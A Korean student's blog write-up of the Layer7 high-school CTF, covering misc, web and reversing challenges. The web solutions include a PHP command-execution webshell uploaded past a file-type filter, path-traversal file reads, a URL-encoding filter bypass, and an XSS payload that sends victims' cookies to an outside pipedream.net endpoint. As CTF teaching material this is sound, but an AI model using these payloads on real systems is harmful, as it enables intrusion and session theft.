선린인터넷고 Layer7에서 11/20 오전 9시부터 밤 12시까지 대회를 진행하였다.
작년엔 고등부 3위를 했었는데, 올해는 2위를 하게 되었다.
아침 9시에 학교에서 모임이 있어서 학교에서 웹 하나 풀고 1시에 집가서 대회를 진행하였다.
수상만 하자라는 생각이었는데 생각보다 오랜 시간 1등을 차지해서 괜히 욕심났지만 결ㄹ국 11시 반쯤 2위가 되었따.
요약하면 Easy_Rev (Rev) 문제랑 PocketMon (Pwn) 문제가 솔버가 많았는데 못 풀어서 1등을 못 했다.
그 대신 2솔버 문제 Time is Ticking... 을 풀었는데, 이 문제가 가장 재밌었던 것 같다.
작년에는 포너블 리버싱 VM문제를 재밌게 풀었는데, 올해는 리버싱 문제를 재밌게 풀었다.
또 웹 문제들도 재밌게 풀었다.
1. MISC
1) MIC CHECK
FLAG : LAYER7{2021수능만점기원}
2. easy_calc
처음 봤을때 좀 어색하다 싶었는데 보다보니 어디서 본 듯한 형식이다.
https://www.youtube.com/watch?v=3doWeqpD5gk
여담으로 위 영상을 본 적이 있는데, 이 영상에서 후위표기법에 대해 다룬다.
아무튼 그래서 후위표기법을 연산하는 과정을 보니 다음과 같았다.
스택 방식으로 연산자를 만나기 전까지 숫자를 스택에 넣고,
연산자를 만나면 스택의 두 숫자를 pop 해서 연산한 후 다시 스택에 push한다.
이를 파이썬으로 구현하면 다음과 같다.
from pwn import *
context.log_level = 'debug'
p = remote('ctf.layer7.kr', 19308)
for i in range(1,100):
p.recvuntil('stage ' + str(i) + ' : ')
exp = p.recvuntil('\n')[:-1]
log.info(exp)
n = []
for c in exp:
if c in ['+','-','/','*']:
b,a = n.pop(), n.pop()
n.append(eval('a' + c + 'b'))
else:
n.append(int(c))
p.sendline(str(n.pop()))
p.interactive()
FLAG : LAYER7{yOur_po5tF1x_Ca1c_Ma5T3r!}
3) Flag is an open door
nc에 접속하면 위 회로의 최종 출력이 1이 나오게 하는 비트를 설정하라는 말인 것 같다.
이렇게 푸는게 맞는지 모르겠지만 암튼 거꾸로 가면서 고정적인 비트랑 내가 맘대로 설정할ㄹ 수 있는 곳이 있길래 이리저리 설정했다.
덕분에 논리 게이트를 외워버려ㅑㅆ다. ㅋㅋ
설정한 비트가 1을 출력하는지 확인하는 코드도 짜봤다.
b = list(map(int,list('1110010111')))
b2 = list(map(int,list('0111111111')))
one1 = (b[0] & b[1]) ^ (not (b[2] ^ b[5]))
one2 = int((not(b[2] | (b[3] & b[4]))) & (b[1] ^ (not (b[6] & b[7]))))
one3 = int(not ((b[3] & b[4]) | (b[9])) | ((b[7] | b[8]) & b[9]))
two1 = int(not ((not (b2[0] ^ b2[5])) ^ (b2[3] ^ b2[9])))
two2 = (b2[1] & b2[8]) & (not (not (b2[1] & b2[4])))
two3 = int(not ((b2[2] | b2[7]) & (b2[5])))
two4 = int((b2[6] | b2[8]) ^ (b2[2] ^ b2[9]))
print(one1)
print(one2)
print(one3)
print()
print(two1)
print(two2)
print(two3)
print(two4)
FLAG : LAYER7{D1d_y0u_do_th1s_by_hand?_H0p3_N0t_HAHA}
2. WEB
1) Handmade
import socket
import urllib.parse
import os.path
import mimetypes
from response_form import *
from threading import Thread
def parse_http_request(req_data):
req_data = req_data.split('\r\n\r\n')
headers = req_data[0].split('\r\n')
body = req_data[1]
req_line = headers[0].split(' ') # GET /foo HTTP/1.1
retval = {
'method': req_line[0].upper(),
'uri': urllib.parse.urlparse(req_line[1]),
'protocol': req_line[2],
'headers': {},
'body': body
}
headers.pop(0)
for header in headers:
header = header.split(':')
key = header[0].strip()
retval['headers'][key] = header[1].lstrip()
return retval
def make_response(req_data):
try:
method = req_data['method']
req_uri = req_data['uri'].path
qstring = req_data['uri'].query
if method not in ALLOWED_METHOD:
return not_allow_method(ALLOWED_METHOD)
if method == 'GET':
doc_path = DOCUMENT_DIR + req_uri
if os.path.isdir(doc_path) and doc_path[::-1][0] != '/':
doc_path += '/'
if os.path.basename(doc_path) == '':
doc_path += 'index.html'
if not os.path.isfile(doc_path):
return not_found()
content = open(doc_path, 'rb').read()
content_type = mimetypes.guess_type(doc_path)[0]
except Exception as err:
return internal_server_error(err)
return normal_response(content, content_type)
def process(client, addr):
try:
req = client.recv(65535).decode()
req_data = parse_http_request(req)
res = make_response(req_data)
except:
res = bad_request()
client.send(res)
client.close()
print(addr[0], req_data['method'], req_data['uri'], flush=True)
print('closed', flush=True)
return
if __name__ == '__main__':
HOST, PORT = '0.0.0.0', 8081
DOCUMENT_DIR = '/service/htdocs'
ALLOWED_METHOD = ['GET']
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((HOST, PORT))
sock.listen()
print(f"server started {HOST}:{PORT}", flush=True)
while True:
try:
(client, addr) = sock.accept()
Thread(target=process, args=(client, addr, )).start()
print('connection', flush=True)
except Exception as err:
print(err, flush=True)
break
sock.close()
http request가 GET Method면 req_uri를 doc_path에 그대로 붙인 후 open 해서 읽어준다.
FLAG : LAYER7{1e3047432d00a223a3d2d62944b199df}
2) Selfmade
handmade 리벤지 느낌이다.
import socket
import urllib.parse
import os.path
import mimetypes
import json
import re
import requests
from response_form import *
from threading import Thread
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
def check_params(params):
if params.strip() == '':
return True
params = dict((item.split('=')[0], item.split('=')[1]) for item in params.split('&'))
if 'no' in params:
if not params['no'].isdigit():
return False
if 'url' in params:
if not (params['url'].startswith('http://') or params['url'].startswith('https://')):
return False
return True
def parse_http_request(req_data):
req_data = req_data.split('\r\n\r\n')
headers = req_data[0].split('\r\n')
body = req_data[1]
req_line = headers[0].split(' ') # GET /foo HTTP/1.1
retval = {
'method': req_line[0].upper(),
'uri': urllib.parse.urlparse(req_line[1]),
'protocol': req_line[2],
'headers': {},
'body': body
}
headers.pop(0)
for header in headers:
header = header.split(':')
key = header[0].strip()
retval['headers'][key] = header[1].lstrip()
return retval
def make_response(req_data):
try:
method = req_data['method']
req_uri = req_data['uri'].path
qstring = req_data['uri'].query
if not check_params(qstring):
return normal_response('403 forbidden')
if method not in ALLOWED_METHOD:
return not_allow_method(ALLOWED_METHOD)
if method == 'GET':
doc_path = DOCUMENT_DIR + '/' + os.path.basename(req_uri)
if os.path.basename(req_uri) == '':
doc_path += 'index.html'
if not os.path.isfile(doc_path):
return not_found()
content = open(doc_path).read()
content_type = mimetypes.guess_type(doc_path)[0]
if method == 'POST':
post_body = req_data['body']
if 'Content-Type' in req_data['headers']:
if req_data['headers']['Content-Type'] == 'application/json':
body = json.loads(req_data['body'])
post_body = urllib.parse.urlencode(body)
if not check_params(post_body):
return normal_response('403 forbidden')
data = urllib.parse.parse_qs(post_body)
if req_uri == '/read':
if 'no' not in data:
content = json.dumps({"message": "Enter the 'no' parameter."})
return normal_response(content, 'application/json')
content_file = CONTENT_DIR + '/' + data['no'].pop()
if not os.path.isfile(content_file):
return not_found()
content = {"status": "ok", "result": open(content_file).read()}
return normal_response(content, 'application/json')
elif req_uri == '/proxy':
if 'url' not in data:
content = json.dumps({"message": "Enter the 'url' parameter."})
return normal_response(content, 'application/json')
try:
proxy_response = requests.get(data['url'].pop(), allow_redirects=False, verify=False, timeout=1).text
content = json.dumps({"status": "ok", "result": proxy_response})
except:
content = json.dumps({"status": "fail", "result": "timeout"})
return normal_response(content, 'application/json')
else:
return not_found()
except Exception as err:
return internal_server_error(err)
return normal_response(content, content_type)
def process(client, addr):
try:
req = client.recv(65535).decode()
req_data = parse_http_request(req)
res = make_response(req_data)
except:
res = bad_request()
client.send(res.encode())
client.close()
print(addr[0], req_data['method'], req_data['uri'], flush=True)
print('closed', flush=True)
return
if __name__ == '__main__':
HOST, PORT = '0.0.0.0', 8080
DOCUMENT_DIR = '/service/htdocs'
CONTENT_DIR = '/service/contents'
ALLOWED_METHOD = ['GET', 'POST']
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((HOST, PORT))
sock.listen()
print(f"server started {HOST}:{PORT}", flush=True)
while True:
try:
(client, addr) = sock.accept()
Thread(target=process, args=(client, addr, )).start()
print('connection', flush=True)
except Exception as err:
print(err, flush=True)
break
sock.close()
check_params를 통해서 적절한 필터링을 해준다.
GET Method에서는 basename() 을 쓰기 때문에 안되고, POST의 proxy도 딱히 의미 없어보인다.
POST의 /read 부분을 보면 check_params만 잘 우회하면 handmade처럼 파일을 읽어올 수 있어보인다.
if not check_params(post_body):
return normal_response('403 forbidden')
data = urllib.parse.parse_qs(post_body)
부분을 보면 검사는 check_params로 하고 결국 데이터를 뽑는건 urllib.parse.parse_qs 이다.
이 말은 parse_qs가 해주는 기능을 check_params가 안해주면 우회할 수 있다는 말이기에 이것저것 테스트해보았다.
처음에는 no[]=1 를 하면 urllib은 no=[1] 로 파싱할 줄 알았는데, urllib은 "no[]" = [1] 로 봤다.
다음으로 url encoding을 해보자 해서 했는데 잘 됐다.
no 를 %6eo로 바꾸면 check_params에선 %6eo로 인식하고 우회되지만 parse_qs에선 no로 인식된다.
위와같이 POST 보내면
{'status': 'ok', 'result': 'LAYER7{623005611a405b69743aa7d2a679eab0}\n'}
FLAG : LAYER7{623005611a405b69743aa7d2a679eab0}
3) Easy Web
학교에서 푼 문제이다.
upload.php, view.php 가 있는데 view.php?file=../upload.php 처럼 LFI가 터진다.
<?php
error_reporting( E_ALL );
ini_set( "display_errors", 0 );
include('./includes/func.php');
$uploads_dir = './uploads';
$allowed_ext = array('jpeg','png');
if($_FILES['upload_file']){
$file = $_FILES['upload_file'];
if(filesize($file['tmp_name']) > (10 * 1024)){
echo "Too large..<br><a href='index.php'>index</a>";
}
else{
$ext = filename_ext_parse($file['name']);
if(!$ext){
$ext = filetype_ext_parse($file['type']);
if($ext){
$filename = gen_filename($ext);
if(filtering($file['tmp_name'])){
echo "Error<br><a href='index.php'>index</a>";
}
else{
move_uploaded_file($file['tmp_name'], "$uploads_dir/$filename");
chmod("$uploads_dir/$filename", 0777);
echo "Upload success!!<br>your file is here -> <a href='view.php?file=$filename'>your_file</a>";
}
}
else{
echo "Error<br><a href='index.php'>index</a>";
}
}
else if(in_array($ext, $allowed_ext)){
$filename = gen_filename($ext);
if(filtering($file['tmp_name'])){
echo "Error<br><a href='index.php'>index</a>";
}
else{
move_uploaded_file($file['tmp_name'], "$uploads_dir/$filename");
chmod("$uploads_dir/$filename", 0777);
echo "Upload success!!<br>your file is here -> <a href='view.php?file=$filename'>your_file</a>";
}
}
else{
echo "Error<br><a href='index.php'>index</a>";
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Hi!</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
file: <input type="file" name="upload_file" accept="image/png, image/jpeg"><br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
uploads.php이다.
includes/func.php 를 확인한다.
<?php
error_reporting( E_ALL );
ini_set( "display_errors", 0 );
function filename_ext_parse($input){
if(strpos($input, '.')){
$tmp = explode('.', $input);
return $tmp[1];
}
else{
return null;
}
}
function filetype_ext_parse($input){
if(strpos($input, '/')){
$tmp = explode('/', $input);
if($tmp[0] != "image"){
return null;
}
return $tmp[1];
}
else{
return null;
}
}
function gen_filename($ext){
return md5(random_bytes(32)) . '.' . $ext;
}
function filtering($filename){
return strpos(file_get_contents($filename), '<?');
}
?>
웹쉘 업로드 문제인 것 같다.
$ext = filename_ext_parse($file['name']);
if(!$ext){
$ext = filetype_ext_parse($file['type']);
if($ext){
$filename = gen_filename($ext);
if(filtering($file['tmp_name'])){
echo "Error<br><a href='index.php'>index</a>";
}
else{
move_uploaded_file($file['tmp_name'], "$uploads_dir/$filename");
chmod("$uploads_dir/$filename", 0777);
echo "Upload success!!<br>your file is here -> <a href='view.php?file=$filename'>your_file</a>";
}
}
else{
echo "Error<br><a href='index.php'>index</a>";
}
}
else if(in_array($ext, $allowed_ext)){
$filename = gen_filename($ext);
if(filtering($file['tmp_name'])){
echo "Error<br><a href='index.php'>index</a>";
}
else{
move_uploaded_file($file['tmp_name'], "$uploads_dir/$filename");
chmod("$uploads_dir/$filename", 0777);
echo "Upload success!!<br>your file is here -> <a href='view.php?file=$filename'>your_file</a>";
}
}
먼저 파일 확장자가 있는지 없는지에 따라 분기를 나눈다.
확장자가 있으면 whitelist 방식으로 확장자를 검사하고, 없으면 file type을 이용해 확장자를 결정한다.
우선 화이트 리스트 검증을 우회하긴 힘들어 보이니 위의 분기를 생각한다.
filetype_ext_parse 함수를 보면 /로 나눈 후 image/~~~ 형식이면 ~~을 리턴한다.
image/php 하면 확장자가 php가 되는 것이다.
또 filtering 함수에서 <?php strpos를 리턴하는데 이는 1번째 인덱스에 위치시키면 우회된다.
업로드가 성공적으로 된다.
php는
<?php
system($_GET["cmd"]);
?>
로 한다.
.php?cmd=cd / && ls
.php?cmd=cd / && cat dont_guess_flag_location_and_name_haha.txt
FLAG : Layer7{V3ry_3A$y_4nD_$IMP1e_WE85h3lL_Ch411EN6E!!}
4) My little markdown parser
이 문제도 view.php 에서 ?filename=~~ LFI 터진다.
report.php가 있다. 아마 XSS 같다.
<?php
error_reporting( E_ALL );
ini_set( "display_errors", 0 );
include('./includes/parse.php');
$parse = new markdown();
$filename = md5(random_bytes(32));
$fp = fopen('./uploads/' . $filename,'w');
fwrite($fp, $parse->test($_POST['contents']));
fclose($fp);
echo "<p>write success</p><p>your file name is {$filename}</p><br><a href=view.php>view</a>";
?>
<?php
error_reporting( E_ALL );
ini_set( "display_errors", 0 );
class markdown{
function remove_space($arr){
for($i = 0; $i < count($arr); $i++){
$arr[$i] = preg_replace('/\r\n|\r|\n/', '', $arr[$i]);
}
return $arr;
}
function test($input){
$res = "";
$line = explode("\n", $input);
$line = $this->remove_space($line);
for($i = 0; $i < count($line); $i++){
$res .= $this->tag_check($line[$i]);
}
return $res;
}
function tag_check($input){
if(preg_match('/^\#/',$input)){
if(strpos(' ', $input)){
return "<p>parsing error</p>";
}
$h_num = strlen($input) - 1 - strrpos(strrev($input), ' ');
if($h_num > 6){
return "<p>parsing error</p>";
}
if(!preg_match("/\#{" . $h_num . "}/", $input)){
return "<p>parsing error</p>";
}
$contents = substr($input, strrpos($input, ' '), strlen($input));
$h1 = '<h' . $h_num . '>' . htmlspecialchars($contents) . '</h' . $h_num . '>';
return $h1;
}
else if(preg_match('/^\*\*/',$input)){
$contents = substr($input, 2, strlen($input)-4);
return "<strong>" . htmlspecialchars($contents) . "</strong>";
}
else if(preg_match('/^\*/',$input)){
$contents = substr($input, 1, strlen($input)-2);
return "<em>" . htmlspecialchars($contents) . "</em>";
}
else if(preg_match('/^\`\`\`(.*?)\`\`\`/',$input)){
$contents = substr($input, 3, strlen($input)-6);
return "<code>" . htmlspecialchars($contents) . "</code>";
}
else if(preg_match('/^\!\[([A-Za-z0-9_\/\:\.]*)\]\(([A-Za-z0-9_\/\:\.]*)\)/',$input)){
$alt_res = null;
$src_res = null;
if(substr_count($input, ']') < 2){
$alt_res = substr($input, strrpos($input, '[') + 1, strrpos($input, ']') - strrpos($input, '[') - 1);
}
if(substr_count($input, ')') < 2){
$src_res = substr($input, strrpos($input, '(') + 1, strrpos($input, ')') - strrpos($input, '(') - 1);
}
if($src_res && $alt_res){
return "<img src='" . $src_res . "' alt='" . $alt_res . "'>";
}
else{
return "<p>parsing error</p>";
}
}
else{
return "<p>" . htmlspecialchars($input) . "</p>";
}
}
}
?>
parse 코드를 분석한다.
image tag 생성 부분에서만 htmlspecialchars()를 안쓰는 것을ㄹ 보아 저부분을 봐야할 것 같다.
strrpos를 통해 처리를 하고, substr_count를 ]와 )만 체크한다.
원래라면
![alt](http://www.naver.com)
<img src="http://www.naver.com" alt="alt">
겠지만,
![a](b)[test
처럼 [를 뒤에 추가해주면 strrpos 인덱스가 꼬여서 substr의 length 부분이 음수가 된다.
처음알았는데 substr의 length가 음수면 따로 처리를 해주었다.
substr(str,2,-2) 면 str의 2번 인덱스에서 끝에서 2번째 전까지 자르는 것이다.
![a](b)['onerror='location.href="https://enj5bt787s2lmnv.m.pipedream.net/"+document.cookie;12345
FLAG : Layer7{xss_WiTh_MY_FAUl7_in_m@RkDoWN!!}
3. Reversing
1) Time is Ticking..
오우... 재밌어보였다.
오우... 더 재밌어 보인다.
Button_Timestamp.txt
00 [Clicked]
01 [Clicked]
01 [Clicked]
01 [Clicked]
01 [Clicked]
01 [Clicked]
07 [Clicked]
14 [Clicked]
14 [Clicked]
15 [Clicked]
15 [Clicked]
15 [Clicked]
...
183 [Clicked]
183 [Clicked]
183 [Clicked]
189 [Clicked]
Source_Code.c
#define _XTAL_FREQ 8000000
volatile unsigned char c = 0;
volatile unsigned int a = 0;
volatile unsigned char b = 0;
volatile unsigned char d = 0;
void print(unsigned char num){
PORTB = num << 1;
}
void main() {
TMR0 = 178;
T0IF_bit = 0;
INTCON = 0b10110000;
TRISB = 0b00000001;
OPTION_REG = 0b10000110;
PORTB = 0;
while(1){
if(d == 1){
print(b);
b = 0;
d = 0;
c = 0;
}
}
}
void interrupt(){
if(INTF_bit){
c += 1;
INTF_bit = 0;
}
if(T0IF_bit){
a += 1;
if(a % 400 == 0){
b += c;
}
if(a == 2800){
b += 30;
d = 1;
a = 0;
}
TMR0 = 179;
T0IF_bit = 0;
}
}
PIC는 처음 본다.
지금까지 아두이노만 해봤는데 오우.. 재밌어 보인다.
대충 회로를 봤을때 LED 7개 연결하고 버튼이 연결되어있다.
LED로 아스키값을 비트로 표시해주는걸 알아내면 되는 것 같다.
https://blog.naver.com/ubicomputing/150120792778
https://blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=x_tough_x&logNo=140014824113
위 두 블로그를 자세히 읽으면서 코드를 분석했다.
#define _XTAL_FREQ 8000000
TMR0 = 178; //타이머 프리로딩
T0IF_bit = 0; //버튼 트리거
INTCON = 0b10110000; //TMR0 Overflow -> T0IF / Button -> INTF
TRISB = 0b00000001; //LED, Button INPUT/OUTPUT
OPTION_REG = 0b10000110; //Prescaler 1:128
PORTB = 0;
TRISB 는 입출력을 설정해준다고 한다.
RBA0 으로 버튼 입력을 받으니 0번 비트를 1로 설정하고 나머지 1~7 비트는 0으로 설정해분 것을 볼 수 있다.
INTCON 은 인터럽트 세팅을 해준다고 한다.
GIE는 무조건 설정하고, T0IE를 설정하여 TMR0(8비트)이 오버플로우(255 + 1) 될때마다 T0IF를 1로 세팅하게끔 한다.
또 INTE를 설정하여 INT 핀과 연결된 버튼으로부터 인터럽트를 받는 것도 볼 수 있다.
OPTION 레지스터에서는 프리스케일러를 설정해주는데, bit 3을 클리어해 TMR0를 사용하도록 하고,
bit 2 1 0을 101로 세팅해 1:128 로 설정한다.
//128 : 프리스케일러 비율값, 179: TMR0 프리로딩 값, 8000000 : 클럭
//8000000 / 4 = 2
// 2 / 128 = 15.625kHz
// 15.625/(256-179) == 약 200Hz
// 1 / 200 * 1000 = 5ms
블로그 글을 참고해 계산하면 TMR0이 오버플로우될때마다 약 5ms가 흐른다는 것을 알 수 있다.
void interrupt(){
if(INTF_bit){ //버튼 클릭
c += 1;
INTF_bit = 0;
}
if(T0IF_bit){ // TMR0 256 overflow
a += 1;
if(a % 400 == 0){ //5ms * 400 = 2sec
b += c;
}
if(a == 2800){ // 5ms * 2800 = 14sec
b += 30;
d = 1;
a = 0;
}
TMR0 = 179;
T0IF_bit = 0;
}
}
인터럽트 코드를 보면 버튼 클릭할때마다 c++해준다.
또 T0IF_bit == 1, 즉 TMR0이 오버플로우 될때 a++한다.
a % 400, a == 2800 분기는 5ms * 400 = 2sec, 5ms * 2800 = 14sec 즉 2초마다 , 14초마다 실행되는 분기임을
알 수 있다.
14초마ㅏ다 d가 1이되니 14초마다 LED를 킨다는 것도 알 수 있다.
void print(unsigned char num){
PORTB = num << 1;
}
f = open('./Button_Timestamp.txt')
lines = f.readlines()
clicked = {}
p_time = 0
cnt = 0
for line in lines:
time = int(line.split(' ')[0])
if time != p_time:
clicked[str(p_time)] = cnt
cnt = 0
cnt += 1
p_time = time
b=0
c=0
for sec in range(0,190):
if str(sec) in clicked:
c += clicked[str(sec)]
if (sec+1) % 2 == 0 and sec != 0:
b += c
if (sec+1) % 14 == 0 and sec != 0:
b += 30
print(chr(b),end='')
c = 0
b = 0
우선 한 초에 버튼을 여러번 클릭하므로 각 초마다 버튼을 몇번 클릭했는지 딕셔너리로 저장한다.
FLAG : LAYER7{Emb3d!}
'CTF Writeup' 카테고리의 다른 글
2022 WACon CTF - babystack 2022 etc (0) | 2022.06.26 |
---|---|
Codegate 2022 Junior 예선 WriteUp (0) | 2022.02.27 |
DAM CTF 2021 - Sneaky Script (0) | 2021.11.11 |
2021 Incognito CTF Writeup (0) | 2021.08.28 |
2021 전국 고등학생 보안 경진대회 WriteUp - ANUSEC 안동대 (0) | 2021.08.28 |